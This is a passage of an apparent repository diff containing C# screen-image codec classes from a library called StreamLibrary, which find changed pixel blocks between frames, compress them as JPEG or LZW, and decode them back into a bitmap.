/// <param name="ImageQuality">The quality to use between 0-100</param>
public UnsafeOptimizedCodec(int ImageQuality = 100)
: base(ImageQuality)
{
this.populairPoints = new List<PopulairPoint>();
this.CheckBlock = new Size(15, 1);
}
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
{
lock (ImageProcessLock)
{
byte* pScan0 = (byte*)Scan0.ToInt32();
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
int Stride = 0;
int RawLength = 0;
int PixelSize = 0;
switch (Format)
{
case PixelFormat.Format24bppRgb:
PixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
PixelSize = 4;
break;
default:
throw new NotSupportedException(Format.ToString());
}
Stride = ImageSize.Width * PixelSize;
RawLength = Stride * ImageSize.Height;
if (EncodeBuffer == null)
{
this.EncodedFormat = Format;
this.EncodedWidth = ImageSize.Width;
this.EncodedHeight = ImageSize.Height;
this.EncodeBuffer = new byte[RawLength];
fixed (byte* ptr = EncodeBuffer)
{
byte[] temp = null;
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
{
temp = base.jpgCompression.Compress(TmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
}
return;
}
if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer)
{
for (int i = 0; i < populairPoints.Count; i++)
{
if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5)
{
populairPoints.RemoveAt(i);
}
}
ScreenRefreshSW = Stopwatch.StartNew();
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
List<byte[]> updates = new List<byte[]>();
MemoryStream ms = new MemoryStream();
byte[] buffer = null;
if (this.EncodedFormat != Format)
throw new Exception("PixelFormat is not equal to previous Bitmap");
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
throw new Exception("Bitmap width/height are not equal to previous bitmap");
List<Rectangle> Blocks = new List<Rectangle>();
int index = 0;
Size s = new Size(ScanArea.Width, CheckBlock.Height);
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
int lasty = ScanArea.Height - lastSize.Height;
int lastx = ScanArea.Width - lastSize.Width;
Rectangle cBlock = new Rectangle();
List<Rectangle> finalUpdates = new List<Rectangle>();
PopulairPoint[] points = GetPossibleVideos();
if (points.Length > 0)
{
ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y);
}
s = new Size(ScanArea.Width, s.Height);
fixed (byte* encBuffer = EncodeBuffer)
{
if (points.Length == 0) //only scan if there is no video
{
for (int y = ScanArea.Y; y != ScanArea.Height; )
{
if (y == lasty)
s = new Size(ScanArea.Width, lastSize.Height);
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
int offset = (y * Stride) + (ScanArea.X * PixelSize);
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
{
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
index = Blocks.Count - 1;
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
Blocks[index] = cBlock;
}
else
{
Blocks.Add(cBlock);
}
}
y += s.Height;
}
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
{
s = new Size(CheckBlock.Width, Blocks[i].Height);
x = ScanArea.X;
while (x != ScanArea.Width)
{
if (x == lastx)
s = new Size(lastSize.Width, Blocks[i].Height);
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
bool FoundChanges = false;
int blockStride = PixelSize * cBlock.Width;
for (int j = 0; j < cBlock.Height; j++)
{
int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X);
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
FoundChanges = true;
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
}
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
if (FoundChanges)
{
index = finalUpdates.Count - 1;
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
{
Rectangle rect = finalUpdates[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
finalUpdates[index] = cBlock;
}
else
{
finalUpdates.Add(cBlock);
}
}
x += s.Width;
}
}
}
else
{
finalUpdates.Add(points[0].Rect);
}
}
for (int i = 0; i < finalUpdates.Count; i++)
{
Rectangle rect = finalUpdates[i];
int blockStride = PixelSize * rect.Width;
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
}
TmpBmp.UnlockBits(TmpData);
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
long length = outStream.Position;
long OldPos = outStream.Position;
base.jpgCompression.Compress(TmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = OldPos - 4;
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
outStream.Position += length;
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
{
PopulairPoint point = null;
if (GetPopulairPoint(rect, ref point))
{
point.Score++;
point.LastUpdate = Stopwatch.StartNew();
//Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
}
else
{
populairPoints.Add(new PopulairPoint(rect));
}
}
TmpBmp.Dispose();
TotalDataLength += (int)length + (4 * 5);
}
/*for (int i = 0; i < finalUpdates.Count; i++)
{
Rectangle rect = finalUpdates[i];
int blockStride = PixelSize * rect.Width;
buffer = new byte[blockStride * rect.Height];
fixed (byte* ptr = buffer)
{
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
}
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr)))
{
buffer = base.jpgCompression.Compress(TmpBmp);
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
{
PopulairPoint point = null;
if (GetPopulairPoint(rect, ref point))
{
point.Score++;
point.LastUpdate = Stopwatch.StartNew();
Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
}
else
{
populairPoints.Add(new PopulairPoint(rect));
}
}
}
}
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
outStream.Write(buffer, 0, buffer.Length);
TotalDataLength += buffer.Length + (4 * 5);
}*/
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
Blocks.Clear();
ms.Close();
ms.Dispose();
}
}
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
{
if (Length < 4)
return decodedBitmap;
int DataSize = *(int*)(CodecBuffer);
if (decodedBitmap == null)
{
byte[] temp = new byte[DataSize];
fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
}
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
if (DataSize > 0)
{
Graphics g = Graphics.FromImage(decodedBitmap);
for (int i = 4; DataSize > 0; )
{
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
int UpdateLen = *(int*)(bufferPtr + i + 16);
byte[] temp = new byte[UpdateLen];
fixed(byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
{
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
}
}
DataSize -= UpdateLen + (4 * 5);
i += UpdateLen + (4 * 5);
}
g.Dispose();
}
return decodedBitmap;
}
public override Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
List<Rectangle> updates = new List<Rectangle>();
Rectangle rect;
Graphics g = Graphics.FromImage(decodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
DataSize -= UpdateLen + (4 * 5);
}
g.Dispose();
return decodedBitmap;
}
private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint)
{
for (int i = 0; i < populairPoints.Count; i++)
{
PopulairPoint point = populairPoints[i];
if (point.Rect.Width == rect.Width &&
point.Rect.Height == rect.Height &&
point.Rect.X == rect.X &&
point.Rect.Y == rect.Y)
{
PopuPoint = populairPoints[i];
return true;
}
}
return false;
}
private PopulairPoint[] GetPossibleVideos()
{
List<PopulairPoint> points = new List<PopulairPoint>();
for (int i = 0; i < populairPoints.Count; i++)
{
if (populairPoints[i].Score > 30)
{
points.Add(populairPoints[i]);
}
}
return points.ToArray();
}
}
}

View File

@ -0,0 +1,285 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.UnsafeCodecs
{
public class UnsafeQuickStream : IUnsafeCodec
{
public override ulong CachedSize { get; internal set; }
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override int BufferCount
{
get { return 0; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
}
private PixelFormat EncodedFormat;
private int EncodedWidth;
private int EncodedHeight;
private ulong[] EncodeBuffer;
private int BlockWidth = 0;
private int BlockHeight = 0;
private Bitmap decodedBitmap;
public List<Rectangle> VerifyPoints = null;
public Size CheckBlock { get; private set; }
public UnsafeQuickStream(int ImageQuality = 100)
: base(ImageQuality)
{
this.CheckBlock = new Size(50, 50);//width must be bigger then 3
}
public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream)
{
byte* pScan0 = (byte*)Scan0.ToInt32();
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
int Stride = 0;
int RawLength = 0;
int PixelSize = 0;
switch (Format)
{
case PixelFormat.Format24bppRgb:
PixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
PixelSize = 4;
break;
default:
throw new NotSupportedException(Format.ToString());
}
Stride = InputSize.Width * PixelSize;
RawLength = Stride * InputSize.Height;
if (EncodedWidth == 0 && EncodedHeight == 0)
{
this.EncodedFormat = Format;
this.EncodedWidth = OutputRect.Width;
this.EncodedHeight = OutputRect.Height;
byte[] temp = null;
using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0))
{
temp = base.jpgCompression.Compress(TmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
return;
}
List<Rectangle> Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width);
VerifyPoints = Points;
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
for (int i = 0; i < Points.Count; i++)
{
Rectangle rect = Points[i];
int blockStride = PixelSize * rect.Width;
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
}
TmpBmp.UnlockBits(TmpData);
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
long length = outStream.Position;
long OldPos = outStream.Position;
base.jpgCompression.Compress(TmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = OldPos - 4;
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
outStream.Position += length;
TmpBmp.Dispose();
TotalDataLength += (int)length + (4 * 5);
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
}
private unsafe List<Rectangle> ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth)
{
if (EncodeBuffer == null)
{
this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width));
this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height));
int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth));
this.EncodeBuffer = new ulong[TotalBlocks];
}
List<Rectangle> points = new List<Rectangle>();
int StartScan = Scan0.ToInt32();
for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height)
{
if (y + CheckBlock.Height > OutputRect.Height)
break;
for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width)
{
if (x + CheckBlock.Width > OutputRect.Width)
break;
int EncodeOffset = GetOffset(x, y);
long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth);
ulong* ScanPtr = (ulong*)(StartScan + offset);
if (EncodeBuffer[EncodeOffset] != *ScanPtr)
{
EncodeBuffer[EncodeOffset] = *ScanPtr;
Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height);
int index = points.Count - 1;
if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X)
{
Rectangle rect = points[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
points[index] = cBlock;
}
else
{
points.Add(cBlock);
}
}
}
}
return points;
}
private Point GetOffsetPoint(int x, int y)
{
return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth,
(int)Math.Floor((double)(x / CheckBlock.Width)));
}
private int GetOffset(int x, int y)
{
return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth +
(int)Math.Floor((double)(x / CheckBlock.Width));
}
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
List<Rectangle> updates = new List<Rectangle>();
Rectangle rect;
Graphics g = Graphics.FromImage(decodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
DataSize -= UpdateLen + (4 * 5);
}
g.Dispose();
return decodedBitmap;
}
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
{
if (Length < 4)
return decodedBitmap;
int DataSize = *(int*)(CodecBuffer);
if (decodedBitmap == null)
{
byte[] temp = new byte[DataSize];
fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
}
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
if (DataSize > 0)
{
Graphics g = Graphics.FromImage(decodedBitmap);
for (int i = 4; DataSize > 0; )
{
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
int UpdateLen = *(int*)(bufferPtr + i + 16);
byte[] temp = new byte[UpdateLen];
fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
{
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
}
}
DataSize -= UpdateLen + (4 * 5);
i += UpdateLen + (4 * 5);
}
g.Dispose();
}
return decodedBitmap;
}
}
}

View File

@ -0,0 +1,367 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.UnsafeCodecs
{
public class UnsafeStreamCodec : IUnsafeCodec
{
public override ulong CachedSize
{
get;
internal set;
}
public override int BufferCount
{
get { return 1; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.RequireSameSize; }
}
public Size CheckBlock { get; private set; }
private byte[] EncodeBuffer;
private Bitmap decodedBitmap;
private PixelFormat EncodedFormat;
private int EncodedWidth;
private int EncodedHeight;
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
bool UseJPEG;
/// <summary>
/// Initialize a new object of UnsafeStreamCodec
/// </summary>
/// <param name="ImageQuality">The quality to use between 0-100</param>
public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
: base(ImageQuality)
{
this.CheckBlock = new Size(50, 1);
this.UseJPEG = UseJPEG;
}
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
{
lock (ImageProcessLock)
{
byte* pScan0 = (byte*)Scan0.ToInt32();
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
int Stride = 0;
int RawLength = 0;
int PixelSize = 0;
switch (Format)
{
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
PixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
PixelSize = 4;
break;
default:
throw new NotSupportedException(Format.ToString());
}
Stride = ImageSize.Width * PixelSize;
RawLength = Stride * ImageSize.Height;
if (EncodeBuffer == null)
{
this.EncodedFormat = Format;
this.EncodedWidth = ImageSize.Width;
this.EncodedHeight = ImageSize.Height;
this.EncodeBuffer = new byte[RawLength];
fixed (byte* ptr = EncodeBuffer)
{
byte[] temp = null;
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
{
temp = base.jpgCompression.Compress(TmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
}
return;
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
if (this.EncodedFormat != Format)
throw new Exception("PixelFormat is not equal to previous Bitmap");
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
throw new Exception("Bitmap width/height are not equal to previous bitmap");
List<Rectangle> Blocks = new List<Rectangle>();
int index = 0;
Size s = new Size(ScanArea.Width, CheckBlock.Height);
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
int lasty = ScanArea.Height - lastSize.Height;
int lastx = ScanArea.Width - lastSize.Width;
Rectangle cBlock = new Rectangle();
List<Rectangle> finalUpdates = new List<Rectangle>();
s = new Size(ScanArea.Width, s.Height);
fixed (byte* encBuffer = EncodeBuffer)
{
for (int y = ScanArea.Y; y != ScanArea.Height; )
{
if (y == lasty)
s = new Size(ScanArea.Width, lastSize.Height);
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
int offset = (y * Stride) + (ScanArea.X * PixelSize);
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
{
index = Blocks.Count - 1;
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
Blocks[index] = cBlock;
}
else
{
Blocks.Add(cBlock);
}
}
y += s.Height;
}
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
{
s = new Size(CheckBlock.Width, Blocks[i].Height);
x = ScanArea.X;
while (x != ScanArea.Width)
{
if (x == lastx)
s = new Size(lastSize.Width, Blocks[i].Height);
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
bool FoundChanges = false;
int blockStride = PixelSize * cBlock.Width;
for (int j = 0; j < cBlock.Height; j++)
{
int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X);
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
FoundChanges = true;
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
}
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
if(FoundChanges)
{
index = finalUpdates.Count - 1;
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
{
Rectangle rect = finalUpdates[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
finalUpdates[index] = cBlock;
}
else
{
finalUpdates.Add(cBlock);
}
}
x += s.Width;
}
}
}
/*int maxHeight = 0;
int maxWidth = 0;
for (int i = 0; i < finalUpdates.Count; i++)
{
if (finalUpdates[i].Height > maxHeight)
maxHeight = finalUpdates[i].Height;
maxWidth += finalUpdates[i].Width;
}
Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1);
int XOffset = 0;*/
for (int i = 0; i < finalUpdates.Count; i++)
{
Rectangle rect = finalUpdates[i];
int blockStride = PixelSize * rect.Width;
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
}
TmpBmp.UnlockBits(TmpData);
/*using (Graphics g = Graphics.FromImage(bmp))
{
g.DrawImage(TmpBmp, new Point(XOffset, 0));
}
XOffset += TmpBmp.Width;*/
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
long length = outStream.Length;
long OldPos = outStream.Position;
if (UseJPEG)
{
base.jpgCompression.Compress(TmpBmp, ref outStream);
}
else
{
base.lzwCompression.Compress(TmpBmp, outStream);
}
length = outStream.Position - length;
outStream.Position = OldPos - 4;
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
outStream.Position += length;
TmpBmp.Dispose();
TotalDataLength += (int)length + (4 * 5);
}
/*if (finalUpdates.Count > 0)
{
byte[] lele = base.jpgCompression.Compress(bmp);
byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1);
bool Won = lele.Length < outStream.Length;
bool CompressWon = compressed.Length < outStream.Length;
Console.WriteLine(Won + ", " + CompressWon);
}
bmp.Dispose();*/
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
Blocks.Clear();
finalUpdates.Clear();
}
}
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
{
if (Length < 4)
return decodedBitmap;
int DataSize = *(int*)(CodecBuffer);
if (decodedBitmap == null)
{
byte[] temp = new byte[DataSize];
fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
}
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
return decodedBitmap;
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
if (DataSize > 0)
{
Graphics g = Graphics.FromImage(decodedBitmap);
for (int i = 4; DataSize > 0; )
{
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
int UpdateLen = *(int*)(bufferPtr + i + 16);
byte[] temp = new byte[UpdateLen];
fixed(byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
{
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
}
}
DataSize -= UpdateLen + (4 * 5);
i += UpdateLen + (4 * 5);
}
g.Dispose();
}
return decodedBitmap;
}
public override Bitmap DecodeData(Stream inStream)
{
try
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
using (Graphics g = Graphics.FromImage(decodedBitmap))
{
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
tempData = null;
byte[] buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
using (MemoryStream m = new MemoryStream(buffer))
using (Bitmap tmp = (Bitmap)Image.FromStream(m))
{
g.DrawImage(tmp, rect.Location);
}
buffer = null;
DataSize -= UpdateLen + (4 * 5);
}
}
return decodedBitmap;
}
catch { return null; }
}
}
}

View File

@ -0,0 +1,186 @@
